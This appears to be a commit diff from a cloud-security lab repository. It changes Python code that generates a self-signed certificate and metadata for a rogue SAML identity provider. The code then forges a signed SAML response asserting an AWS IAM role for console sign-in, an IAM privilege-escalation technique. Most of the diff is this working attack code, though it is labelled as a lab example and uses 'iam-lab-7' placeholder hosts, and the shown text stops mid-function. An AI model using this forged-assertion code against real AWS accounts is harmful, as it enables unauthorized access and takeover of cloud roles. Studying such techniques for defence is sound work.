Update README for IAM privilege escalation example

This commit is contained in:
Jaime Polop
2026-02-20 14:10:28 +01:00
committed by GitHub
parent 1685887efa
commit 005ab23773

View File

@@ -368,6 +368,7 @@ def _run(cmd: list[str]) -> str:
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
@@ -383,26 +384,25 @@ def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
"/CN=iam-lab-7-attacker",
]
)
return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
lines = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
if line.strip():
lines.append(line.strip())
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://iam-lab-7.attacker.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
@@ -411,7 +411,7 @@ def make_metadata_xml(cert_b64: str) -> str:
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://iam-lab-7.attacker.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
@@ -437,7 +437,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
issuer.text = "https://iam-lab-7.attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
@@ -449,7 +449,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
a_issuer.text = "https://iam-lab-7.attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
@@ -470,20 +470,30 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
authn_statement.set("AuthnInstant", issue_instant.isoformat())
authn_statement.set("SessionIndex", str(uuid.uuid4()))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
attr_session_value.text = "iam-lab-7-session"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
with open(key_pem, "rb") as f:
key_bytes = f.read()
with open(cert_pem, "rb") as f:
cert_bytes = f.read()
signer = XMLSigner(
method=methods.enveloped,